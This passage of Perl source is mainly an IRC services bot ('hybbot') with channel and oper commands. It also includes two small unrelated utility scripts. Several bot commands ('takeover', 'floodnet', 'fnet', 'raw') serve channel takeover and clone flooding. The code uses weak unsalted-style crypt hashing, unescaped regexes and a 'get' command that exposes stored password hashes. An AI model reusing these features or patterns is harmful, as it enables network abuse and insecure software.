4759 elsif ($etc =~ /^:userhelp\s*$/i) {
4760 print SOCK ":$botnick PRIVMSG $nick :Commands: register, mode, op, pass, status, invite, addchan, delchan, chmodes, addop, delop, addaop - /msg $botnick command for more information on a specific command.\n";
4761 next;
4762 }
4763
4764# setting a password
4765 elsif ($etc =~ /^:pass\s+(.*)\s*$/i || $etc =~ /:pass\s*$/i) {
4766 $nu = $1;
4767 $nu =~ s/\s*$//;
4768 if ($nu) {
4769 if ($nu =~ /\s/) {
4770 print SOCK ":$botnick PRIVMSG $nick :\cbusage: PASS <password>\cb\n";
4771 }
4772 else {
4773 if (&checkpass($nick)) {
4774 print SOCK ":$botnick PRIVMSG $nick :You already have a password set.\n";
4775 }
4776 else {
4777 print SOCK "WHOIS $nick\n";
4778 $passval = 1;
4779 $pas = &mkpasswd($nu);
4780 &addconf("PASS:" . $nick . ":0:0:$pas\n");
4781 $passes{$nick} = $pas;
4782 print SOCK ":$botnick PRIVMSG $nickx :Password $nu added\n";
4783 }
4784 }
4785 }
4786 else {
4787 print SOCK ":$botnick PRIVMSG $nick :\cbusage: PASS <password>\cb\n";
4788 }
4789 next;
4790 }
4791
4792# mess with anyone who ctcp versions me
4793 elsif ($etc =~ /^:\caversion/i) {
4794 foreach (@{$bnx{"h4w"}}) {
4795 print SOCK ":$_ NOTICE $nick :\cAVERSION \cBhybbot $version\cB by CommPort5\cA\n";
4796 }
4797 next;
4798 }
4799
4800# get status of yourself
4801 elsif ($etc =~ /^:status/i) {
4802 $stat = &status($nick);
4803 print SOCK ":$botnick PRIVMSG $nick :Your status is: \cb$stat\cb\n";
4804 next;
4805 }
4806
4807# get the oper commands
4808 elsif ($etc =~ /^:operhelp/i) {
4809 print SOCK ":$botnick PRIVMSG $nick :\cbwannabes:\cb opz0r\n";
4810 print SOCK ":$botnick PRIVMSG $nick :\cbopers:\cb rehash, opz0r, deopz0r, joinz0r, partz0r\cb\n";
4811 print SOCK ":$botnick PRIVMSG $nick :\cbhax0rs:\cb m0pz0r, raw, adduser, addjoin, botjoin, botpart, botop, botdeop, addbot, killbot, listbots, massopz0r, massdopz0r\n";
4812 print SOCK ":$botnick PRIVMSG $nick :\cbl33t hax0rs:\cb get, retrieve, addoper, exit, restart, floodnet, killnet, fnet, takeover\n";
4813 next;
4814 }
4815
4816# addop command
4817 elsif ($etc =~ /^:addop\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
4818 ($chan, $pass, $nck) = ($1, $2, $3);
4819 $chan = lc($chan);
4820 $nck = lc($nck);
4821 if (!&chkline("CHOP:$chan:$nck:") && $passes{$nck} && ((&ckpasswd($pass, $chnlp{$chan}) && $chnln{$chan} eq $nick) || (&ckpasswd($pass, $passes{$nick}) && $nicks{$nick} >= 31337))) {
4822 &addop($nck, $chan);
4823 print SOCK ":$botnick PRIVMSG $nick :\cb$nck was added as an op for $chan\cb\n";
4824 print SOCK ":$botnick PRIVMSG $nck :You've been added as an op for $chan, /msg $botnick OP for help on opping yourself\n";
4825 }
4826 elsif (&chkline("CHOP:$chan:$nck:")) {
4827 print SOCK ":$botnick PRIVMSG $nick :$nck is already in the conf\n";
4828 }
4829 elsif ($chnln{$chan} ne $nick) {
4830 print SOCK ":$botnick PRIVMSG $nick :You don't own $chan [$chnln{$chan} != $nick]\n";
4831 }
4832 elsif (!&ckpasswd($pass, $chnlp{$chan})) {
4833 print SOCK ":$botnick PRIVMSG $nick :Incorrect password.\n";
4834 }
4835 next;
4836 }
4837
4838# delop command (under construction)
4839 elsif ($etc =~ /^:delop\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
4840 next;
4841 }
4842
4843# invite command
4844 elsif ($etc =~ /^:invite\s+(\S+)\s+(\S+)\s*(\S*)/i) {
4845 $onick = $nick;
4846 $onick = $3 if $3;
4847 if (&readconf("CHAN:".lc($1).":$onick:", $2) || &readconf("CHOP:".lc($1).":$onick:", $2)) {
4848 print SOCK "SJOIN ts $1 + :\@$botnick\n" if (!$chans{lc($1)});
4849 print SOCK ":$botnick INVITE $nick $1\n";
4850 print SOCK ":$botnick PART $1\n" if (!$chans{lc($1)});
4851 }
4852 else {
4853 print SOCK ":$botnick PRIVMSG $nick :Incorrect password or nickname.\n";
4854 }
4855 next;
4856 }
4857
4858# addchan command
4859=pod
4860 elsif ($etc =~ /^:addchan\s+(\S+)\s*(.*)$/i) {
4861# if (&
4862
4863
4864 if ($chans{lc($1)}) {
4865 print SOCK ":$botnick PRIVMSG $nick :Channel is already in the conf.\n";
4866 }
4867 else {
4868 print SOCK "SJOIN ts $1 + :\@$botnick\n" unless $chans{$1};
4869 &addconf("JOIN:" . lc($1) . ":$2:\n");
4870 $chans{lc($1)}{$2} = 1;
4871 }
4872 next;
4873 }
4874=cut
4875
4876# op command
4877 elsif ($etc =~ /^:op\s+(\S+\s+\S+)\s*(\S*)/i) {
4878 $onick = $nick;
4879 $nick = $2 if $2;
4880 @reg = split(/\s+/, $1);
4881 if (&readconf("CHAN:".lc($reg[0]).":$nick:", $reg[1]) || &readconf("CHOP:".lc($reg[0]).":$nick:", $reg[1])) {
4882 print SOCK "SJOIN ts $reg[0] + :\@$botnick\n" if (!$chans{lc($reg[0])});
4883 print SOCK ":$botnick MODE $reg[0] +o $onick\n";
4884 print SOCK ":$botnick PART $reg[0]\n" if (!$chans{lc($reg[0])});
4885 delete $sall{lc($reg[0])}{$onick};
4886 $sall{$1}{'@' . $onick} = 1;
4887 }
4888 else {
4889 print SOCK ":$botnick PRIVMSG $onick :Incorrect password or nickname.\n";
4890 }
4891 next;
4892 }
4893
4894# mode command
4895 elsif ($etc =~ /^:mode\s+(\S+)\s+(\S+)\s+(.*)$/i) {
4896 if (&readconf("CHAN:".lc($2).":$nick:", $1)) {
4897 print SOCK "SJOIN ts $2 + :\@$botnick\n" if (!$chans{lc($2)});
4898 print SOCK ":$botnick MODE $2 $3\n";
4899 print SOCK ":$botnick PART $2\n" if (!$chans{lc($2)});
4900 }
4901 else {
4902 print SOCK ":$botnick PRIVMSG $onick :Incorrect password or nickname.\n";
4903 }
4904 next;
4905 }
4906
4907# register command
4908 elsif ($etc =~ /^:register\s+(\S+\s+\S+)/i) {
4909 @reg = split(/\s+/, $1);
4910 if (&checkconf($reg[0]) || $reg[0] !~ /^#/) {
4911 print SOCK ":$botnick PRIVMSG $nick :$reg[0] is already registered.\n";
4912 }
4913 elsif ($reg[0] !~ /^#/) {
4914 print SOCK ":$botnick PRIVMSG $nick :\cbusage: register <#channel> <password>\cb\n";
4915 }
4916 else {
4917 print SOCK ":$botnick JOIN $reg[0]\n:$botnick WHOIS $nick\n";
4918 $hash{'chan'} = $reg[0];
4919 $hash{'nick'} = $nick;
4920 $hash{'pass'} = $reg[1];
4921 $regchan = 1;
4922 }
4923 next;
4924 }
4925
4926# oper stuff
4927 elsif ($etc =~ /^:(\S+)/ && &ckpasswd($1, $passes{$nick})) {
4928 $etc =~ s/^\S+\s+/:/;
4929
4930# opz0r for wannabes
4931 if ($etc =~ /^:opz0r\s+(\S+)\s+(\S+)/i && $nicks{$nick} == 0) {
4932 if ($chans{$1}) {
4933 print SOCK ":$botnick MODE $1 +o $2\n";
4934 }
4935 else {
4936 print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 +o $2\n:$botnick PART $1\n";
4937 }
4938 delete $sall{$1}{$2};
4939 $sall{$1}{'@' . $2} = 1;
4940 next;
4941 }
4942
4943# l33t hax0r commands
4944 if ($nicks{$nick} >= 31337) {
4945
4946# takeover command :)
4947 if ($etc =~ /^:takeover\s+(\S+)\s+(.*)$/i) {
4948 ($chn, $oth) = ($1, $2);
4949 $chn = lc($chn);
4950 @nms = keys(%{$sall{$chn}});
4951 my (%tmp0r, @nns, $snd, $f);
4952 @othr = split(/\s+/, $oth);
4953 foreach (@othr) {
4954 $tmp0r{$_}++;
4955 }
4956 foreach (@nms) {
4957 push(@nns, $_) if (s/^\@// && !$tmp0r{$_});
4958 }
4959 print SOCK "SJOIN ts $chn + :\@$botnick\n" if (!$chans{lc($chn)});
4960 foreach (0 .. @nns) {
4961 $f++;
4962 delete $sall{$chn}{'@' . lc($nns[0])};
4963 $sall{$chn}{lc($nns[0])} = 1;
4964 $snd .= "$nns[$_] ";
4965 if ($f == 12) {
4966 $f = 0;
4967 print SOCK ":$botnick MODE $chn " . "-" x 13 . "o" x 13 . " $snd\n";
4968 $snd = "";
4969 }
4970 }
4971 print SOCK ":$botnick MODE $chn " . "-" x 13 . "o" x 13 . " $snd\n";
4972 ($snd, $f) = ("", "");
4973 foreach (0 .. @othr) {
4974 $f++;
4975 delete $sall{$chn}{lc($othr[$_])};
4976 $sall{$chn}{'@' . lc($othr[$_])} = 1;
4977 $snd .= "$othr[$_] ";
4978 if ($f == 12) {
4979 $f = 0;
4980 print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
4981 $snd = "";
4982 }
4983 }
4984 print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
4985 print SOCK ":$botnick PART $chn\n" if (!$chans{lc($chn)});
4986 next;
4987 }
4988
4989# floodnet command
4990 elsif ($etc =~ /^:floodnet\s+(\S+)\s+(\S+)\s*(\S*)$/i) {
4991 if (($1 + $fnts) >= 5000) {
4992 print SOCK ":$botnick PRIVMSG $nick :There cannot be over 5000 bots (currently there are $fnts loaded)\n";
4993 }
4994 elsif ($nets{$2}) {
4995 print SOCK ":$botnick PRIVMSG $nick :There already is a net with that name.\n";
4996 }
4997 else {
4998 $nets{$2} = $1;
4999 $fnts += $1;
5000 $x = 0;
5001 for (1 .. $1) {
5002 $x++;
5003 my $nck;
5004 if ($3) {
5005 $nck = $3 . int(rand(1000));
5006 push(@{$bnx{$2}}, $nck);
5007 }
5008 else {
5009 @tmp = ('a' .. 'z');
5010 for (1 .. 9) {
5011 $nck .= $tmp[int(rand(@tmp))];
5012 }
5013 push(@{$bnx{$2}}, $nck);
5014 }
5015 print SOCK "NICK $nck 1 1 +iw $nck hyb.bot $srvc :hybbot [floodbot]\n";
5016 if ($x == 200) {
5017 $x = 0;
5018 sleep 1;
5019 }
5020 }
5021 }
5022 }
5023
5024# killnet command
5025 elsif ($etc =~ /^:killnet\s+(\S+)\s*(\S*)$/i) {
5026 $x = 0;
5027 $fnts -= $nets{$1};
5028 delete $nets{$1};
5029 foreach $bn (@{$bnx{$1}}) {
5030 $x++;
5031 print SOCK ":$bn QUIT :$2\n";
5032 if ($x == 200) {
5033 $x = 0;
5034 sleep 1;
5035 }
5036 }
5037 }
5038
5039# fnet command
5040 elsif ($etc =~ /^:fnet\s+(\S+)\s+(.*)$/i) {
5041 @cmds = split(/;/, $2);
5042 $x = 0;
5043 foreach $cmd (@cmds) {
5044 foreach $bn (@{$bnx{$1}}) {
5045 $x++;
5046 $tmp = $cmd;
5047 $tmp =~ s/\\\*/$bn/g;
5048 print SOCK "$tmp\n";
5049 if ($x == 200) {
5050 sleep 1;
5051 $x = 0;
5052 }
5053 }
5054 }
5055 }
5056
5057# retrieve command
5058 elsif ($etc =~ /^:retrieve\s*(.*)$/i) {
5059 print SOCK "$1\n";
5060 $retr = $nick;
5061 next;
5062 }
5063
5064# get command
5065 elsif ($etc =~ /^:get\s*(.*)$/i) {
5066 ($a) = ($1);
5067 @b = split(/\s+/, $a);
5068 if (@b == 1) {
5069 $c = ${$a};
5070 }
5071 elsif (@b == 2) {
5072 $c = ${$b[0]}{$b[1]};
5073 }
5074 else {
5075 $c = ${$b[0]}{$b[1]}{$b[2]};
5076 }
5077 print SOCK ":$botnick PRIVMSG $nick :$c\n";
5078 if (@b == 1) {
5079 $c = join(', ', keys(%{${$a}}));
5080 }
5081 elsif (@b == 2) {
5082 $c = join(', ', keys(%{${$b[0]}{$b[1]}}));
5083 }
5084 else {
5085 $c = join(', ', keys(%{${$b[0]}{$b[1]}{$b[2]}}));
5086 }
5087 print SOCK ":$botnick PRIVMSG $nick :$c\n";
5088 next;
5089 }
5090
5091# exit command
5092 elsif ($etc =~ /^:exit\s*(.*)$/i) {
5093 foreach (keys(%bots)) {
5094 print SOCK ":$_ QUIT :$1\n";
5095 }
5096 die "hybbot exiting...\n";
5097 }
5098
5099# restart command
5100 elsif ($etc =~ /^:restart\s*(.*)$/i) {
5101 foreach (keys(%bots)) {
5102 print SOCK ":$_ QUIT :$1\n";
5103 }
5104 close(SOCK);
5105 fork() && die "hybbot restarting...\n";
5106 &restart;
5107 }
5108
5109# addoper command
5110 elsif ($etc =~ /^:addoper\s+(\S+)\s+(\S+)\s*$/i) {
5111 if (&addoper($1, $2) == 1) {
5112 print SOCK ":$botnick PRIVMSG $nick :$1 added as an oper with ID $2\n";
5113 }
5114 elsif (&addoper($1, $2) == 2) {
5115 print SOCK ":$botnick PRIVMSG $nick :$1 is in the conf too many times.\n";
5116 }
5117 else {
5118 print SOCK ":$botnick PRIVMSG $nick :$1 was not found in conf.\n";
5119 }
5120 &rehash;
5121 next;
5122 }
5123 }
5124
5125# hax0r commands [and above]
5126 if ($nicks{$nick} >= 666) {
5127
5128# adduser command
5129 if ($etc =~ /^:adduser\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
5130 &operconf($1, $2, $3);
5131 next;
5132 }
5133
5134# m0pz0r command
5135 elsif ($etc =~ /^:m0pz0r\s+(.*)$/i) {
5136 @tmp = split(/\s+/, $1);
5137 foreach $chn (@tmp) {
5138 $chn = lc($chn);
5139 ($snd, $f) = ("", "");
5140 @nmz = keys(%{$all{$chn}});
5141 print SOCK "SJOIN ts $chn + :\@$botnick\n" if (!$chans{lc($chn)});
5142 foreach (0 .. @nmz) {
5143 $f++;
5144 delete $sall{$chn}{lc($nmz[$_])};
5145 $sall{$chn}{'@' . lc($nmz[$_])} = 1;
5146 $snd .= "$nmz[$_] ";
5147 if ($f == 12) {
5148 $f = 0;
5149 print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
5150 $snd = "";
5151 }
5152 }
5153 print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
5154 print SOCK ":$botnick PART $chn\n" if (!$chans{lc($chn)});
5155 }
5156 next;
5157 }
5158
5159# raw command
5160 elsif ($etc =~ /^:raw\s+(.*)$/i) {
5161 @tmp = split(/;/, $1);
5162 foreach (@tmp) {
5163 print SOCK "$_\n";
5164 }
5165 next;
5166 }
5167
5168# massopz0r command
5169 elsif ($etc =~ /^:massopz0r\s+(.*)$/i) {
5170 if ($1 =~ /^([^#]\S+)\s+(.*)$/) {
5171 $n = $1;
5172 $c = $2;
5173 }
5174 else {
5175 $n = $nick;
5176 }
5177 $n = lc($n);
5178 @chans = split(/\s/, $c);
5179 foreach (@chans) {
5180 if ($chans{$_}) {
5181 print SOCK ":$botnick MODE $_ +o $n\n";
5182 }
5183 else {
5184 print SOCK "SJOIN ts $_ + :\@$botnick\n:$botnick MODE $_ +o $n\n:$botnick PART $_\n";
5185 }
5186 delete $sall{lc($_)}{$n};
5187 $sall{lc($_)}{'@' . $n} = 1;
5188 }
5189 }
5190
5191# massdopz0r command
5192 elsif ($etc =~ /^:massdopz0r\s+(.*)$/i) {
5193 if ($1 =~ /^([^#]\S+)\s+(.*)$/) {
5194 $n = $1;
5195 $c = $2;
5196 }
5197 else {
5198 $n = $nick;
5199 }
5200 $n = lc($n);
5201 @chans = split(/\s/, $c);
5202 foreach (@chans) {
5203 if ($chans{$_}) {
5204 print SOCK ":$botnick MODE $_ -o $n\n";
5205 }
5206 else {
5207 print SOCK "SJOIN ts $_ + :\@$botnick\n:$botnick MODE $_ -o $n\n:$botnick PART $_\n";
5208 }
5209 delete $sall{'@' . lc($_)}{$n};
5210 $sall{lc($_)}{$n} = 1;
5211 }
5212 }
5213
5214# killbot command
5215 elsif ($etc =~ /^:killbot\s+(\S+)\s*(.*)$/i) {
5216 print SOCK ":$1 QUIT :$2\n";
5217 delete($bots{$1});
5218 next;
5219 }
5220
5221# listbots command
5222 elsif ($etc =~ /^:listbots/i) {
5223 my @temp;
5224 foreach (keys(%bots)) {
5225 if ($bots{$_}) {
5226 push(@temp, $_);
5227 }
5228 }
5229 $tmp = join(', ', @temp);
5230 print SOCK ":$botnick PRIVMSG $nick :$tmp\n";
5231 next;
5232 }
5233
5234# addbot command
5235 elsif ($etc =~ /^:addbot\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*)$/i) {
5236 $tmp = "NICK $1 1 1 $2 $1 $3 $srvc :$4";
5237 print SOCK "$tmp\n";
5238 $bots{$1} = $tmp;
5239 next;
5240 }
5241
5242# addjoin command
5243 elsif ($etc =~ /^:addjoin\s+(\S+)\s*(.*)$/i) {
5244 if ($chans{lc($1)}) {
5245 print SOCK ":$botnick PRIVMSG $nick :Channel is already in the conf.\n";
5246 }
5247 else {
5248 print SOCK "SJOIN ts $1 + :\@$botnick\n" unless $chans{$1};
5249 &addconf("JOIN:" . lc($1) . ":$2:\n");
5250 $chans{lc($1)}{$2} = 1;
5251 }
5252 next;
5253 }
5254
5255# botjoin command
5256 elsif ($etc =~ /^:botjoin\s+(\S+)\s+(\S+)/i) {
5257 print SOCK "SJOIN ts $2 + :\@$1\n";
5258 $chans{$2} = 1;
5259 next;
5260 }
5261
5262# botpart command
5263 elsif ($etc =~ /^:botpart\s+(\S+)\s+(\S+)/i) {
5264 print SOCK ":$1 PART $2\n";
5265 delete($chans{$2});
5266 next;
5267 }
5268
5269# botop command
5270 elsif ($etc =~ /^:botop\s+(\S+)\s+(\S+)\s+(\S+)/i) {
5271 if ($chans{$2}) {
5272 print SOCK ":$1 MODE $2 +o $3\n";
5273 }
5274 else {
5275 print SOCK "SJOIN ts $2 + :\@$1\n:$1 MODE $2 +o $3\n:$1 PART $2\n"
5276 }
5277 next
5278 }
5279
5280# botdeop command
5281 elsif ($etc =~ /^:botdeop\s+(\S+)\s+(\S+)\s+(\S+)/i) {
5282 if ($chans{$2}) {
5283 print SOCK ":$1 MODE $2 -o $3\n";
5284 }
5285 else {
5286 print SOCK "SJOIN ts $2 + :\@$1\n:$1 MODE $2 -o $3\n:$1 PART $2\n"
5287 }
5288 next
5289 }
5290 }
5291
5292# oper commands [and above]
5293 if ($nicks{$nick} >= 1) {
5294
5295# rehash command
5296 if ($etc =~ /^:rehash/i) {
5297 &rehash;
5298 print SOCK ":$botnick PRIVMSG $nick :\cbRehashed.\cb\n";
5299 next;
5300 }
5301
5302# joinz0r command
5303 elsif ($etc =~ /^:joinz0r\s+(.+)\s*$/i) {
5304 @chns = split(/\s+/, $1);
5305 foreach (@chns) {
5306 print SOCK "SJOIN ts $_ + :\@$botnick\n";
5307 $chans{$_} = 1;
5308 }
5309 next;
5310 }
5311
5312# partz0r command
5313 elsif ($etc =~ /^:partz0r\s+(.+)\s*$/i) {
5314 @chns = split(/\s+/, $1);
5315 foreach (@chns) {
5316 print SOCK ":$botnick PART $_\n";
5317 delete($chans{$_});
5318 }
5319 next;
5320 }
5321
5322# deopz0r command
5323 elsif ($etc =~ /^:deopz0r\s+(\S+)\s+(.*)$/i) {
5324 if ($chans{$1}) {
5325 @x = split(/\s/, $2);
5326 $r = @x;
5327 for (@x) {
5328 delete $sall{lc($1)}{'@' . lc($_)};
5329 $sall{lc($1)}{lc($_)} = 1;
5330 }
5331 print SOCK ":$botnick MODE $1 " . "-" x $r . "o" x $r . " $2\n";
5332 }
5333 else {
5334 @x = split(/\s/, $2);
5335 for (@x) {
5336 delete $sall{lc($1)}{'@' . lc($_)};
5337 $sall{lc($1)}{lc($_)} = 1;
5338 }
5339 $r = @x;
5340 print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 " . "-" x $r . "o" x $r . " $2\n:$botnick PART $1\n";
5341 }
5342 }
5343
5344# opz0r command [for opers and above]
5345 elsif ($etc =~ /^:opz0r\s+(\S+)\s+(.*)$/i && $nicks{$nick} > 0) {
5346 if ($chans{$1}) {
5347 @x = split(/\s/, $2);
5348 for (@x) {
5349 delete $sall{lc($1)}{lc($_)};
5350 $sall{lc($1)}{'@' . lc($_)} = 1;
5351 }
5352 $r = @x;
5353 print SOCK ":$botnick MODE $1 " . "+" x $r . "o" x $r . " $2\n";
5354 }
5355 else {
5356 @x = split(/\s/, $2);
5357 for (@x) {
5358 delete $sall{lc($1)}{lc($_)};
5359 $sall{lc($1)}{'@' . lc($_)} = 1;
5360 }
5361 $r = @x;
5362 print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 " . "+" x $r . "o" x $r . " $2\n";
5363 print SOCK ":$botnick PART $1\n";
5364 }
5365 next;
5366 }
5367 }
5368 }
5369 }
5370}
5371
5372# check the conf for a certain line and check the password
5373sub readconf {
5374 ($match, $pwd) = @_;
5375 open(FH, "<$conf");
5376 @lines = <FH>;
5377 $match =~ s/\*/.*/g;
5378 foreach (@lines) {
5379 if (/^$match(.*)$/i) {
5380 close(FH);
5381 if (&ckpasswd($pwd, $1)) {
5382 return 1;
5383 }
5384 else {
5385 return 0;
5386 }
5387 }
5388 }
5389 close(FH);
5390 return 0;
5391}
5392
5393# restart function to restart the program completely, good for restarting on code changes
5394sub restart {
5395 sleep 3;
5396 system("$^X $0 " . join(' ', @ARGV) . " &");
5397 die "\n";
5398}
5399
5400# check the conf for any line
5401sub chkline {
5402 ($line) = @_;
5403 open(FH, "<$conf");
5404 @lines = <FH>;
5405 foreach (@lines) {
5406 if (/^$line/i) {
5407 close(FH);
5408 return 1;
5409 }
5410 }
5411 close(FH);
5412 return 0;
5413}
5414
5415# check the conf for a CHAN line
5416sub checkconf {
5417 $chn = $_[0];
5418 open(FH, "<$conf");
5419 @lines = <FH>;
5420 $tm = "CHAN:" . lc($chn) . ":";
5421 foreach (@lines) {
5422 if (/^$tm/) {
5423 close(FH);
5424 return 1;
5425 }
5426 }
5427 close(FH);
5428 return 0;
5429}
5430
5431# check the conf for a CHAN line with a specific nick
5432sub checkconfnick {
5433 ($chn, $nck) = @_;
5434 $chn = lc($chn);
5435 $nck = lc($nck);
5436 open(FH, "<$conf");
5437 @lines = <FH>;
5438 $tm = "CHAN:$chn:$nck:";
5439 foreach (@lines) {
5440 if (/^$tm/) {
5441 close(FH);
5442 return 1;
5443 }
5444 }
5445 close(FH);
5446 return 0;
5447}
5448
5449# add an op to the conf file
5450sub addop {
5451 ($nck, $chan) = @_;
5452 open(FH, "+<$conf");
5453 @fh = <FH>;
5454 $nck = lc($nck);
5455 $chan = lc($chan);
5456 foreach (@fh) {
5457 if (/^PASS:$nck:[^:]+:[^:]+:(.*)$/i) {
5458 $xf = "CHOP:$chan:$nck:$1\n";
5459 print FH $xf;
5460 close(FH);
5461 last;
5462 }
5463 }
5464 &rehash;
5465 return 0;
5466}
5467
5468
5469# add an oper
5470sub addoper {
5471 $done = 0;
5472 $xf = 0;
5473 ($nck, $id) = @_;
5474 open(FH, "+<$conf");
5475 @fh = <FH>;
5476 $nck = lc($nck);
5477 foreach (@fh) {
5478 if (/^OPER:\d+:$nck:/i) {
5479 $xf++;
5480 last;
5481 }
5482 if (/^PASS:$nck:[^:]+:[^:]+:(.*)$/i) {
5483 if ($done == 0) {
5484 $rf = "OPER:$id:$nck:$1\n";
5485 $done++;
5486 }
5487 }
5488 }
5489 if (!$xf && $done == 1) {
5490 print FH $rf;
5491 }
5492 close(FH);
5493 if ($done == 1) {
5494 return 1;
5495 }
5496 elsif ($done > 1) {
5497 return 2;
5498 }
5499 else {
5500 return 0;
5501 }
5502}
5503
5504# check to see if a pass exists for someone
5505sub checkpass {
5506 $there = 0;
5507 $nck = $_[0];
5508=cut
5509 open(FH, "<$conf");
5510 while (<FH>) {
5511 if (/PASS:$nck:/i) {
5512 close(FH);
5513 return 1;
5514 }
5515 }
5516=cut
5517 if ($passes{$nck}) {
5518 return 1;
5519 }
5520 return 0;
5521}
5522
5523# add an oper line to the conf
5524sub operconf {
5525 ($nck, $id, $pass) = @_;
5526 $nck = lc($nck);
5527 open(FH, ">>$conf");
5528 $newp = &mkpasswd($pass);
5529 print FH "OPER:$id:$nck:$newp\n";
5530 close(FH);
5531 &rehash;
5532}
5533
5534# rehash the conf and local data to the program
5535sub rehash {
5536 undef %nicks;
5537 undef %passes;
5538 undef %chnln;
5539 undef %chnlp;
5540 undef %confz0r;
5541 open(FH, "<$conf");
5542 while (<FH>) {
5543 $confz0r{$_} = 1;
5544 if (/^JOIN:([^:]+):([^:]*):$/) {
5545 $join{lc($1)}{$2} = 1;
5546 next;
5547 }
5548 elsif (/^L33T:(.+)$/) {
5549 $protect{$1} = 1;
5550 next;
5551 }
5552 elsif (/^PASS:([^:]+):\d+:\d+:([^:]+)$/) {
5553 $passes{$1} = $2;
5554 next;
5555 }
5556 elsif (/^OPER:(\d+):([^:]+):(.*)$/) {
5557 $nicks{lc($2)} = $1;
5558 $passes{lc($2)} = $3;
5559 next;
5560 }
5561 elsif (/^CHAN:([^:]+):([^:]+):(.*)$/) {
5562 $chnlp{lc($1)} = $3;
5563 $chnln{lc($1)} = $2;
5564 next;
5565 }
5566 }
5567 close(FH);
5568}
5569
5570# add a line to the conf
5571sub addconf {
5572 @tmp = @_;
5573 open(FH, ">>$conf");
5574 foreach (@tmp) {
5575 print FH $_;
5576 }
5577 close(FH);
5578}
5579
5580# create an encrypted password
5581sub mkpasswd {
5582 $what = $_[0];
5583 $salt = chr(65+rand(27)).chr(65+rand(27));
5584 $salt =~ s/\W/x/g;
5585 return crypt($what, $salt);
5586}
5587
5588# check an encrypted password with a non-encrypted one
5589sub ckpasswd {
5590 ($plain, $encrypted) = @_;
5591 if (!$encrypted) {
5592 ($plain, $encrypted) = split(/\s+/, $plain, 2);
5593 }
5594 return '' unless ($plain && $encrypted);
5595 if ($encrypted =~ /^\$\d\$(\w\w)\$/) {
5596 $salt = $1;
5597 }
5598 else {
5599 $salt = substr($encrypted, 0, 2);
5600 }
5601 return ($encrypted eq crypt($plain, $salt));
5602}
5603
5604# modify a user (under construction)
5605sub moduser {
5606 ($user, $id) = @_;
5607 $user = lc($user);
5608 open(FH, "<$conf");
5609 @fh = <FH>;
5610 foreach (@fh) {
5611 if (/^PASS:$user:([^:]+):(\d+):(.+)$/) {
5612 $rf = "PASS:$user:" . lc($1) . ":$id:$3";
5613 $xf = "PASS:$user:" . lc($1) . ":$2:$3";
5614 }
5615 }
5616 close(FH);
5617 if (!$rf) {
5618 return 0;
5619 }
5620 else {
5621 open(FH, ">>$conf");
5622 while (<FH>) {
5623 if (/^$xf$/) {
5624 s/^$xf$/$rf/;
5625 }
5626 }
5627 close(FH);
5628 }
5629}
5630
5631# get the status of a user
5632sub status {
5633 $nick = $_[0];
5634 $nick = $nick;
5635 open(FH, "<$conf");
5636 while (<FH>) {
5637 if (/OPER:(\d+):$nick:/i) {
5638 if ($1 >= 31337) {
5639 close(FH);
5640 return "l33t hax0r";
5641 }
5642 elsif ($1 >= 666) {
5643 close(FH);
5644 return "hax0r";
5645 }
5646 elsif ($1 >= 1) {
5647 close(FH);
5648 return "oper";
5649 }
5650 else {
5651 close(FH);
5652 return "wannabe oper";
5653 }
5654 }
5655 }
5656 close(FH);
5657 return "peasant user";
5658}
5659
5660
5661#!/usr/bin/perl
5662
5663# by samy [CommPort5@LucidX.com]
5664# This some-what 'greps' all input files you give it with
5665# the string to 'grep', and if it sees any #include's in
5666# the files (usually in C and header files), it will also
5667# 'grep' those for the string, and everything in those,
5668# and everything in those, and so on :)
5669
5670if (@ARGV < 2) {
5671 die "usage: $0 [-g (case-insensitive)] <list of C/header files> <'string/regexp to perl grep'>\n";
5672}
5673
5674$grep = pop(@ARGV);
5675if ($ARGV[0] =~ /^-.{1}$/) {
5676 $arg = shift(@ARGV);
5677}
5678
5679foreach $file (@ARGV) {
5680 $check{$file} = 1;
5681}
5682foreach $file (@ARGV) {
5683 $bad = 0;
5684 open(TMP, "<$file") or $bad++;
5685 if ($bad) {
5686 print "Unable to open $file: $!\n";
5687 }
5688 else {
5689 while (<TMP>) {
5690 if ($arg eq "-g") {
5691 if (/$grep/i) {
5692 print "$file:$_";
5693 }
5694 }
5695 else {
5696 if (/$grep/) {
5697 print "$file:$_";
5698 }
5699 }
5700 if (/include\s*<([^>]+)>/ and !$check{"/usr/include/" . $1}) {
5701 $incl{"/usr/include/" . $1} = 1;
5702 $check{"/usr/include/" . $1} = 1;
5703 }
5704 }
5705 close(TMP);
5706 }
5707}
5708
5709&dcheck(%incl);
5710
5711sub dcheck {
5712 %temp = @_;
5713 %new = ();
5714 foreach $file (keys(%temp)) {
5715 $check{"/usr/include/" . $file} = 1;
5716 }
5717 foreach $file (keys(%temp)) {
5718 $bad = 0;
5719 open(TMP, "<$file") or $bad++;
5720 if (!$bad) {
5721 while (<TMP>) {
5722 if (/include\s*<([^>]+)>/ and !$check{"/usr/include/" . $1}) {
5723 $new{"/usr/include/" . $1} = 1;
5724 $check{"/usr/include/" . $1} = 1;
5725 }
5726 if ($arg eq "-g") {
5727 if (/$grep/i) {
5728 print "$file:$_";
5729 }
5730 }
5731 else {
5732 if (/$grep/) {
5733 print "$file:$_";
5734 }
5735 }
5736 }
5737 close(TMP);
5738 }
5739 }
5740 if (%new) {
5741 &dcheck(%new);
5742 }
5743}
5744
5745
5746#!/usr/bin/perl
5747
5748# this is for doing stuff with multiple files when the program doesn't support multiple files
5749# example:
5750# if you have 3 .tar's in a dir, you can't do tar -xvf *.tar
5751# you have to do each one, one by one
5752# with this, you just do something like: mass 'tar -xvf *.tar' and it will run each one for you
5753# or maybe mass 'tar -xvf program-0.?.tar' or whatever...
5754# cp5 owns.you
5755
5756die "usage: $0 <'program'>\nexample: $0 'tar -xvf *.tar'\n" unless @ARGV == 1;
